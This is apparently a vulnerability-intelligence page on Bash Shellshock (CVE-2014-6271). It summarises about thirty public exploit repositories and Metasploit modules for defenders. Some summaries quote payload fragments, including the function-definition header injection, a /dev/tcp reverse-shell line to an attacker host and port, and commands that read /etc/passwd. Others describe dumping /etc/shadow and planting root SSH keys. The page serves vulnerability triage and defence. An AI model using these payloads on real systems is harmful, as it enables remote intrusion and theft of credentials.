Shellshock is a critical command injection vulnerability in GNU Bash through version 4.3. Bash incorrectly processes trailing commands appended after a function definition stored in an environment variable. When Bash is invoked by another program that imports attacker-controlled environment variables, it can execute the appended commands during shell startup. This creates a privilege-boundary crossing condition in which untrusted input supplied through mechanisms such as CGI request headers, OpenSSH ForceCommand-related environments, or DHCP client processing can trigger arbitrary command execution. The issue is widely known as Shellshock. The original fix for CVE-2014-6271 was incomplete, and additional related Bash vulnerabilities were later assigned separate CVEs, including CVE-2014-7169.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
30 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (34 hidden).
This repository is a small standalone Python exploit for Shellshock (CVE-2014-6271). It contains one executable script, CVE-2014-6271.py, and a README. The Python script uses requests and colorama, displays a banner, prompts the operator for a target URL, then enters an infinite interactive loop asking for commands to run remotely. For each command, it builds a classic Shellshock payload in the HTTP User-Agent header: a crafted Bash function definition followed by '/bin/sh -c' and the operator command. It sends an HTTP GET request to the supplied CGI endpoint and prints the response body, enabling simple interactive command execution when the target is vulnerable. The exploit does not include target discovery, authentication bypass, persistence, or post-exploitation automation; it is a direct command-execution PoC with usable operational behavior. Fingerprintable artifacts are minimal and mostly operator-supplied, with the only hardcoded network example being 'http://example.com/cgi-bin/test.cgi' and the target-side shell path '/bin/sh'. The README accurately describes the exploit as targeting CGI environments that pass HTTP headers into vulnerable Bash instances.
This repository is a minimal Shellshock proof-of-concept for CVE-2014-6271. It contains only two files: a Dockerfile that builds a vulnerable GNU Bash 4.3 environment on Ubuntu 14.04, and a README explaining the bug, reproduction steps, and real-world attack surface. The Dockerfile downloads bash-4.3 from ftp.gnu.org, compiles it from source, installs it to /usr/local/bin/bash, and launches that binary in the container. The exploit capability is straightforward command execution during bash initialization by supplying a crafted environment variable containing a function definition followed by trailing shell commands. The README demonstrates this with `env x='() { :;}; echo VULNERABLE' bash -c "echo test"`, which causes the injected `echo VULNERABLE` to run before the intended command. The repository does not include a remote exploit script or automation against a network service; instead it is a local reproduction environment and educational PoC. However, it explicitly documents the real-world web attack vector: CGI applications that pass attacker-controlled HTTP headers such as User-Agent into environment variables before invoking bash. Overall, this is a valid, non-framework PoC repository intended to reproduce and explain Shellshock rather than provide a weaponized exploitation tool.
Small standalone exploit repository with 2 files: a README and a single Python script. The script exploit.py is the main entry point and implements a Shellshock (CVE-2014-6271) remote code execution exploit against web-accessible CGI-style endpoints. It accepts target IP, vulnerable URI, attacker IP, callback port, and an optional HTTPS flag. The exploit builds a malicious User-Agent header containing the classic Shellshock function definition prefix and appends a Bash reverse shell command using /dev/tcp to connect back to the attacker. It then sends one HTTP GET request to the specified endpoint using the requests library. Success reporting is minimal and based only on whether the HTTP response status code equals 200; it does not verify shell establishment. The repository is operational but basic: no target discovery, no vulnerability check, no payload customization beyond callback parameters, no error handling beyond simple status output, and no obfuscation or framework integration. Its purpose is straightforward remote exploitation of vulnerable Bash-backed web CGI handlers to obtain an interactive reverse shell.
This repository is a small Shellshock exploitation lab and PoC for CVE-2014-6271. It contains four files: a README explaining the vulnerability and reproduction steps, a docker-compose file that launches a prebuilt vulnerable Apache/CGI environment, a Python exploit script, and a Bash CGI script used by the lab. The main exploit logic is in poc.py, which accepts a target URL, attacker host, and attacker port, then sends an HTTP POST request with a malicious User-Agent header containing a Shellshock function definition followed by a Bash reverse-shell command. If the target CGI handler exports the header into the environment and invokes a vulnerable Bash, the appended command executes and connects back to the attacker via /dev/tcp. The exploit capability is straightforward remote command execution leading to an interactive reverse shell. The repository is not a framework module; it is a standalone operational PoC with a hardcoded payload pattern. The included docker-compose.yml exposes the vulnerable service on host port 8080 using image rumu03/cve-2014-6271, and the README indicates the intended target path is /cgi-bin/web.sh. The web.sh file is a minimal Bash CGI script, included to ensure the web server invokes Bash and thereby triggers the vulnerability path.
Repository is a small offensive lab project documenting and partially automating compromise of the VulnHub HackSudo Thor VM behind a pfSense firewall. Structure is simple: a long README walkthrough, one pfSense brute-force script, one password wordlist, and one Python automation script for post-exploitation through Metasploit RPC. The README describes the broader attack chain: brute-force pfSense webConfigurator on WAN using default/admin credentials, disable firewall restrictions, exploit Thor via Shellshock (CVE-2014-6271) at /cgi-bin/shell.sh to obtain a Meterpreter/www-data foothold, escalate to user thor through command injection in /home/thor/hammer.sh, then escalate to root via GTFOBins abuse of sudo service. The code itself implements two practical capabilities: (1) scripts/pfsense_brute.py performs CSRF-aware web login brute forcing against http://10.0.2.8/index.php using username admin and a local wordlist; (2) scripts/thor_full_chain.py connects to a locally exposed Metasploit RPC server on 127.0.0.1:55552, attaches to an existing session, drops into a shell, stabilizes it with a PTY, performs the documented privilege-escalation steps, enumerates the system, reads /root/root.txt and /root/proof.txt, dumps /etc/shadow and /etc/passwd, and installs a root SSH authorized_keys backdoor. This is not a standalone end-to-end exploit because initial exploitation of Thor is not implemented in code and instead assumed to already exist as a live Metasploit session; however, the included scripts are functional offensive tooling for credential attack and automated post-exploitation in the described lab.
This repository is a small standalone Python exploit for Shellshock (CVE-2014-6271). It contains one executable script, CVE-2014-6271.py, and a README. The Python script uses requests and colorama, displays a banner, prompts the operator for a target URL, then enters an infinite interactive loop asking for commands to execute. For each command, it builds a classic Shellshock payload in the User-Agent header: '() { :;}; echo; echo; /bin/sh -c ...', sends an HTTP GET request to the supplied target CGI URL, and prints the response body. The exploit capability is straightforward remote command execution against vulnerable Bash-backed CGI endpoints over HTTP. It does not include target discovery, authentication bypass, persistence, or post-exploitation automation; it assumes the operator already knows a reachable CGI endpoint. Structurally, the repository is minimal and purpose-built: one script as the entry point and one README describing Shellshock, installation, and intended use. The code is a real exploit rather than a detector-only script, because it actively executes arbitrary commands and returns output from the target.
This repository is a small Python-based Shellshock (CVE-2014-6271) exploitation/scanning utility. Its structure is simple: a top-level README, and a CVE-2014-6271 subdirectory containing the main scanner, a proxy scraper, a banner/login screen helper, dependency list, and text files for proxies, user agents, and discovered vulnerable URLs. Code review shows only partial implementation of the capabilities advertised in the README. The main exploit logic in CVE-2014-6271/main.py defines a Scanner class that loads proxy.txt and useragent.txt, then probes a supplied target by requesting <base_url>/cgi-bin/. If the HTTP status is 200, 403, or 301, it reports the target as 'possible vulnerable'. This is only a heuristic CGI exposure check, not a definitive Shellshock verification by itself. The README claims additional features such as directory scanning, command execution against discovered CGI endpoints, showing vulnerable URLs, and saving command output to response.txt, but those behaviors are not present in the provided code excerpt. CVE-2014-6271/proxy.py is a support component that scrapes https://free-proxy-list.net/ using requests and BeautifulSoup, extracts IP:port pairs from the HTML table, and writes them to proxy.txt. CVE-2014-6271/loginscreen.py is cosmetic and prints an ANSI-colored banner. requirements.txt lists requests and BeautifulSoup dependencies. useragent.txt is a large static list of browser user-agent strings, likely intended for request randomization, though the shown scanner code does not yet use them. Overall, this is best classified as a proof-of-concept web/network exploit helper for Shellshock reconnaissance rather than a complete weaponized exploit. The repository targets CGI-enabled web servers that may invoke vulnerable Bash environments. The most fingerprintable external endpoint is free-proxy-list.net; target endpoints are user-supplied HTTP URLs with /cgi-bin/ appended.
Repository contains a simple, standalone Python proof-of-concept/exploit for Shellshock (CVE-2014-6271) plus a detailed README. Structure: - README.md: Background on Shellshock, affected Bash versions, mitigation, and example curl payloads (including reverse shell via /dev/tcp). - ShellShock.py: The actual exploit tool. Exploit behavior (ShellShock.py): - Uses requests.get() to send an HTTP GET to a user-supplied CGI URL with a crafted header value containing the Shellshock function-import prefix. - Modes: - --test: sends payload "() { :;}; echo; echo 'VULN-SUCCESS'" and checks response body for the marker to indicate likely vulnerability. - --command: sends "() { :;}; echo; <cmd>" to execute arbitrary commands and prints the HTTP response body as command output. - --reverseshell: sends "() { :;}; bash -c \"bash -i >& /dev/tcp/LHOST/LPORT 0>&1\"" to trigger a reverse shell to the attacker. - Header injection is configurable via -H/--header (default User-Agent; suggests Referer/Cookie). Primary capability is unauthenticated remote command execution against web-exposed Bash CGI endpoints on vulnerable systems, with an optional reverse shell callback. The code is operational but basic (no target discovery, no multi-target scanning, no robust output parsing beyond marker matching).
Repository contains a simple Bash proof-of-concept exploit for Shellshock (CVE-2014-6271) targeting web servers that expose CGI scripts executed by vulnerable Bash. Structure: (1) README.md documents usage and options; (2) shellshock_exp.sh is the only code file and the entry point; (3) LICENSE is MIT. The exploit works by sending an HTTP request with a malicious User-Agent header containing a crafted Bash function definition followed by a command execution stub: `() { :; }; ... /bin/bash -c '$COMMAND'`. If the target CGI environment passes the header into Bash on a vulnerable system, Bash executes the appended command, returning output in the HTTP response. The script supports configurable target address (-a), port (-p), CGI path (-f), and command (-c). Default behavior attempts to read `/etc/passwd` from the target to demonstrate remote command execution.
Repository contains a single Python3 exploit script and a README. The exploit targets Shellshock (CVE-2014-6271) in a web/CGI context (e.g., Apache with mod_cgi) by injecting a malicious function definition into the HTTP `User-Agent` header. Structure & purpose: - README.md: High-level description of Shellshock, lab links, and example nmap/curl commands for discovery/testing. - shellshock_exploit.py: Standalone Python script (entry point via `main()`) that: 1) Validates the target URL returns HTTP 200. 2) Performs a basic vulnerability check by sending `User-Agent: () { ignored; }; ... /usr/bin/id` and looking for a hardcoded `www-data` id string in the response. 3) If proceeding, starts a local netcat listener (`nc -lp LPORT`) and sends a second request with a reverse-shell payload: `/bin/bash -i >& /dev/tcp/LHOST/LPORT 0>&1`. Main exploit capabilities: - Remote command execution via Shellshock header injection. - Reverse shell callback to attacker-supplied LHOST/LPORT. Notable limitations/assumptions: - The vulnerability check is brittle (expects exact `uid=33(www-data)...` output), so non-Debian/Ubuntu targets or different web user IDs may be misclassified. - Requires `nc` installed locally and the attacker to be reachable from the target on the chosen port.
This repository is an educational toolkit for demonstrating and exploiting the Shellshock vulnerability (CVE-2014-6271) in Bash. The structure includes a main exploit script (exploit.sh), a Docker Compose file for setting up a vulnerable lab environment, a README.md with detailed instructions and background, and supporting files (payloads.txt, screenshots, demo.gif). The exploit.sh script is intended to automate exploitation by sending HTTP requests with malicious headers (such as User-Agent) to CGI endpoints, triggering remote code execution via Bash. The README provides example payloads, usage instructions, and defensive recommendations. The exploit targets CGI-enabled web servers running vulnerable versions of Bash, and demonstrates both command execution and reverse shell capabilities. The code is a proof-of-concept and is not weaponized, but provides a clear demonstration of the vulnerability and its exploitation process.
This repository contains a single Python script, 'shellshock.py', which is an exploit for the Shellshock vulnerability (CVE-2014-6271) in GNU Bash. The script first checks if a given URL is vulnerable by sending HTTP requests with specially crafted headers that trigger the vulnerability. If the target is vulnerable, the script provides a non-interactive shell by allowing the user to input commands, which are base64-encoded, sent via HTTP headers, decoded, and executed on the target server using Bash. The script targets web servers running CGI scripts that invoke a vulnerable version of Bash. The main attack vector is network-based, exploiting HTTP headers such as User-Agent, Referer, and Cookie. The script requires the attacker to supply a target URL as a command-line argument. Notable endpoints include the target URL, and the use of '/usr/bin/base64' and '/bin/bash' on the target system to process and execute commands.
This repository contains a Python exploit script (CVE-2014-6271.py) targeting the Shellshock vulnerability (CVE-2014-6271) in GNU Bash. The exploit is designed to attack web servers running CGI scripts that invoke a vulnerable version of Bash. It works by sending specially crafted HTTP(S) requests to one or more CGI endpoints, injecting a Bash payload via HTTP headers (User-Agent, Cookie, Referer) that triggers remote code execution. The payload establishes a reverse shell from the target to the attacker's machine, providing an interactive shell if successful. The script supports both HTTP and HTTPS, custom CGI paths, and optional proxying. The repository also includes a README with usage instructions and a LICENSE file. The main entry point is CVE-2014-6271.py, which requires Python 3, pwntools, and requests. The exploit is operational, providing a working reverse shell payload, and is not part of a larger framework.
This repository contains a single Metasploit module: 'advantech_switch_bash_env_exec.rb'. The module exploits the Shellshock vulnerability (CVE-2014-6271) in the Bash shell, specifically targeting the 'ping.sh' CGI script on Advantech switches running the Boa web server (tested on firmware 1322_D1.98). The exploit works by sending a specially crafted HTTP request to '/cgi-bin/ping.sh', injecting a malicious payload via the User-Agent header to achieve remote code execution. The module is weaponized, supporting customizable command payloads, and is designed for use within the Metasploit framework. The only fingerprintable endpoint is the '/cgi-bin/ping.sh' path on the target device. The code is well-structured, with clear separation of check and exploit logic, and includes references to public advisories and exploit databases.
This repository contains a single Metasploit module (modules/exploits/unix/dhcp/bash_environment.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in Bash via the DHCP client (dhclient) on Unix systems. The module acts as a malicious DHCP server, responding to DHCP requests with specially crafted options (DOMAINNAME, HOSTNAME, URL) containing a Shellshock payload. When the vulnerable dhclient processes these options, the Bash shell executes the injected command, which writes the attacker's payload to /etc/crontab for persistence. The module includes cleanup functionality to remove the payload from crontab after a session is established. The exploit is operational, providing remote code execution on vulnerable systems. The main attack vector is network-based, targeting systems that request DHCP configuration from the attacker's server. The only fingerprintable endpoint is the /etc/crontab file, which is modified during exploitation.
This repository contains a single Metasploit module (modules/exploits/multi/http/cups_bash_env_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271 and CVE-2014-6278) in Bash via the CUPS printing system. The exploit works by injecting a malicious payload into the PRINTER_INFO or PRINTER_LOCATION environment variables when adding a new printer through the CUPS web interface. The payload is executed by Bash when the CUPS filter is triggered (e.g., by printing a test page), allowing for arbitrary command execution on the target system. The module requires valid CUPS credentials and targets the CUPS web interface, typically accessible on port 631 over HTTPS. The exploit is weaponized, leveraging Metasploit's payload system to deliver arbitrary shell commands. The code is written in Ruby and is structured as a standard Metasploit exploit module, with functions for adding and deleting printers, printing test pages, and handling authentication. The main network endpoints targeted are the CUPS admin and printer HTTP(S) endpoints.
This repository contains a single Metasploit module (modules/exploits/osx/local/vmware_bash_function_root.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in the context of VMware Fusion on Mac OS X 10.9 Mavericks x64. The exploit leverages a vulnerable SUID binary (vmware-vmx-stats) within the VMware Fusion application to escalate local privileges to root. The module checks for the presence of the Shellshock bug and the VMware Fusion application, uploads a Mach-O payload to a writable directory (default: /tmp), and executes it with root privileges by exploiting the vulnerable binary. The payload is customizable and can provide a shell or meterpreter session. The exploit is operational and requires local access to the target system. The main fingerprintable endpoints are the VMware Fusion application path, the SUID binary path, and the writable directory used for payload deployment.
This repository contains a single Metasploit auxiliary module: 'dhclient_bash_env.rb'. The module exploits the Shellshock vulnerability (CVE-2014-6271) in GNU Bash by acting as a malicious DHCP server. When a vulnerable DHCP client (dhclient) requests a lease, the module responds with DHCP options (hostname, domainname, URL) containing a specially crafted environment variable that triggers code execution via Bash. The default payload opens a reverse shell using netcat to 127.0.0.1:4444, but the command is configurable. The module is written in Ruby and leverages Metasploit's DHCP server mixin. The attack vector is network-based, requiring the attacker to be able to respond to DHCP requests from the target. The exploit is operational and can be used to achieve remote code execution on unpatched systems running vulnerable versions of Bash and dhclient.
This repository contains a single Metasploit module: 'pureftpd_bash_env_exec.rb', which exploits the Shellshock vulnerability (CVE-2014-6271) in Bash when used as an external authentication script for Pure-FTPd. The exploit targets Pure-FTPd servers compiled with the --with-extauth flag and configured to use a Bash script for authentication. It works by injecting a malicious environment variable via the FTP password field, triggering arbitrary command execution through Bash. The module supports both x86 and x86_64 Linux targets and uses Metasploit's CmdStager to deliver payloads, typically resulting in a remote shell. The only required endpoint is the FTP service (default port 21) on the target. The code is mature, weaponized, and part of the Metasploit framework, making it easy to use and customize for penetration testing or exploitation.
This repository contains a single Metasploit module (modules/exploits/unix/smtp/qmail_bash_env_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in systems running Qmail SMTP (qmail-1.03 or netqmail-1.06) on Unix. The exploit leverages the lack of validation in the MAIL FROM field to inject a malicious Bash environment variable payload, which is executed if /bin/sh is linked to a vulnerable version of bash. The module is written in Ruby and uses the Metasploit framework's SMTP library to interact with the target service. The payload is a command (cmd) payload, allowing arbitrary shell command execution on the target. The exploit requires a valid recipient email address and does not work on the 'qmailrocks' community version. The repository is operational and provides a working exploit for remote code execution via the network on vulnerable Qmail SMTP servers.
This repository contains a single Metasploit module (modules/exploits/linux/http/ipfire_bashbug_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in IPFire firewall systems (version <= 2.15 Core Update 82). The exploit targets the web interface's CGI endpoint (/cgi-bin/index.cgi) and requires valid credentials to authenticate. It injects a malicious Bash environment variable via a custom HTTP header, triggering arbitrary command execution on the target system. The module is weaponized, supporting customizable command payloads via Metasploit's payload system. The code is written in Ruby and leverages Metasploit's HttpClient mixin for network communication. The exploit is operational against vulnerable IPFire systems accessible over HTTPS (default port 444).
This repository contains a single Metasploit module: 'apache_mod_cgi_bash_env_exec.rb', which exploits the Shellshock vulnerability (CVE-2014-6271 and CVE-2014-6278) in Bash when invoked via CGI scripts on Apache HTTP servers. The exploit works by sending a specially crafted HTTP request (default method: GET) to a user-specified CGI script (TARGETURI), injecting a malicious Bash function definition into a chosen HTTP header (default: User-Agent). This triggers arbitrary command execution on the server if it is vulnerable. The module supports both x86 and x86_64 Linux targets and uses Metasploit's CmdStager to deliver payloads, typically resulting in a remote shell. The module is highly configurable, allowing the attacker to specify the HTTP method, header, and other parameters. The only fingerprintable endpoint is the CGI script path, which must be known or guessed by the attacker. The code is weaponized, as it is part of the Metasploit framework and supports customizable payloads.
This repository is a demonstration and exploitation environment for CVE-2014-6271 (Shellshock), a critical vulnerability in GNU Bash that allows remote code execution via specially crafted environment variables, typically through CGI scripts on web servers. The repository includes a Dockerfile to build a vulnerable Ubuntu 12.04 environment with Apache and a CGI Bash script ('vulnerable'). The main exploit script, 'exp_deface.sh', sends a malicious HTTP request to the CGI endpoint, exploiting Shellshock to overwrite the web root index.html file, effectively defacing the site. The README provides detailed instructions for building the environment, running the vulnerable service, and exploiting it both manually (to read /etc/passwd) and via the provided script (to deface the site). The main attack vector is network-based, targeting the HTTP CGI endpoint. The repository is structured for educational and demonstration purposes, with clear separation between setup (Dockerfile, main.sh), the vulnerable service (vulnerable, index.html), and the exploit (exp_deface.sh).
This repository contains a single Python script, 'exploit.py', which is an exploit for the Shellshock vulnerability (CVE-2014-6271) affecting CGI-enabled web servers using vulnerable versions of GNU Bash. The script provides an interactive shell-like interface, allowing the user to send arbitrary commands to a specified target URL (e.g., http://10.10.14.24/cgi-bin/test.cgi). It does so by injecting commands into the 'User-Agent' HTTP header using the Shellshock payload format. The script expects the target URL as a command-line argument and prints usage instructions if not provided. The only external dependency is the 'requests' library. The exploit is operational and allows for arbitrary command execution on the vulnerable server, returning the output to the user. The repository is straightforward, containing only the exploit script with no additional files or documentation.
This repository contains a single Python script, 'ris.py', which is an interactive exploit for CVE-2014-6271 (Shellshock). The script targets web servers running CGI scripts that invoke a vulnerable version of GNU Bash. It works by sending HTTP GET requests to a specified CGI endpoint, injecting a malicious payload into a user-specified HTTP header. The payload leverages the Shellshock vulnerability to execute arbitrary shell commands on the server. The script first checks if the target is vulnerable by sending a test command, then provides an interactive shell-like interface for the attacker to run further commands. The script requires the user to specify the target domain/IP, CGI path, and the HTTP header to use for injection. The only file in the repository is the exploit script itself, written in Python, and it is fully operational for exploitation of vulnerable targets.
This repository contains a Python proof-of-concept exploit for CVE-2014-6271 (Shellshock), targeting vulnerable CGI scripts that invoke Bash. The main file, 'shellpoc.py', takes three arguments: the target host, the vulnerable CGI path, and the attacker's host/IP and port (e.g., 10.10.10.1/4444). The script crafts an HTTP GET request to the specified CGI endpoint, injecting a Bash reverse shell payload via a custom HTTP header. If the target is vulnerable, it will execute the payload and connect back to the attacker's machine, providing a shell. The README provides usage instructions and an example. The exploit is operational, requiring a vulnerable CGI endpoint and a listening attacker machine. No hardcoded endpoints are present; all are supplied at runtime.
This repository contains a Python exploit script (exploit.py) targeting the Shellshock vulnerability (CVE-2014-6271) in GNU Bash versions 1.14 through 4.3. The exploit abuses the User-Agent HTTP header to inject a Bash command that opens a reverse shell from the vulnerable server to the attacker's machine. The script requires the attacker to specify the target IP, vulnerable URI, attacker's IP, and port for the reverse shell. The README provides usage instructions and references the CVE. The exploit is operational, providing a working reverse shell payload, and is not part of a larger framework. The main attack vector is network-based, targeting web servers with vulnerable CGI scripts. The endpoints involved are the target's HTTP/HTTPS interface and the attacker's TCP listener.
This repository provides a Dockerized vulnerable environment for demonstrating and exploiting the Shellshock (CVE-2014-6271) vulnerability in Bash. The structure includes a Dockerfile to build an Apache web server with a CGI Bash script ('vulnerable') placed at /usr/lib/cgi-bin/vulnerable, and an index.html page indicating the system is intentionally vulnerable. The main exploit script, 'exploit-deface.sh', is a Bash script that sends a crafted HTTP request to the CGI endpoint, exploiting Shellshock via the User-Agent header to execute arbitrary Bash commands on the server. The provided payload overwrites the web root's index.html file, effectively defacing the site. The README details usage, exploitation methods, and background on Shellshock, including other possible attack vectors (OpenSSH, DHCP, qmail, IBM HMC). The repository is intended for educational and testing purposes, allowing users to safely experiment with the Shellshock exploit in a controlled environment. No detection scripts are present; the focus is on exploitation and demonstration.
This repository contains a Python exploit (shellshock.py) for CVE-2014-6271, also known as Shellshock, which targets vulnerable Bash versions (<4.3) on web servers running CGI scripts. The exploit works by sending a specially crafted HTTP request to a CGI endpoint (commonly under /cgi-bin/) with a malicious payload in HTTP headers (User-Agent, Cookie, Referer). This payload leverages the Shellshock vulnerability to execute arbitrary commands—in this case, spawning a reverse shell that connects back to the attacker's machine (LHOST:LPORT). The script supports both HTTP and HTTPS, attempting multiple TLS versions for SSL connections. The README provides usage instructions, configuration requirements, and example scenarios. The repository structure is simple, with one main exploit script and a README. The exploit is operational, requiring the attacker to set up a listener and supply the target URL, their own IP, and port. No detection or fake code is present; the exploit is functional and directly targets the vulnerability.
This repository is a Python-based Proof of Concept (PoC) exploit for CVE-2014-6271, also known as Shellshock, a critical vulnerability in GNU Bash (<= 4.3) that allows remote code execution via specially crafted environment variables. The main file, CVE-2014-6271.py, provides both scanning and exploitation capabilities. It can test single or multiple URLs (from a file) for vulnerability by injecting a test string into HTTP headers (User-Agent, Referer, Cookie) targeting common CGI script paths. If a target is found vulnerable, the script can deliver a Bash reverse shell payload, connecting back to the attacker's specified host and port. The exploit also includes a listener component to catch the reverse shell. The code uses several third-party Python libraries for user interface and shell management. The README.md provides background on the vulnerability and a disclaimer. The requirements.txt lists all necessary Python dependencies. No hardcoded IPs or domains are present; the script is designed for flexible targeting by the user. The overall structure is typical for a PoC exploit, with clear separation between scanning, exploitation, and listener logic.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
61 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A remote code execution vulnerability in Bash, commonly known as Shellshock, that can allow command execution via crafted environment variables passed through CGI/HTTP headers.
A critical remote code execution vulnerability in GNU Bash that can allow attackers to execute commands via crafted environment variables, commonly through CGI and similar configurations.
Shellshock is referenced as an example vulnerability that an AI-driven honeypot could be configured to simulate or respond to exploit attempts for.
Shellshock: a Bash vulnerability on Linux/Unix systems enabling command injection/remote code execution in certain contexts.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.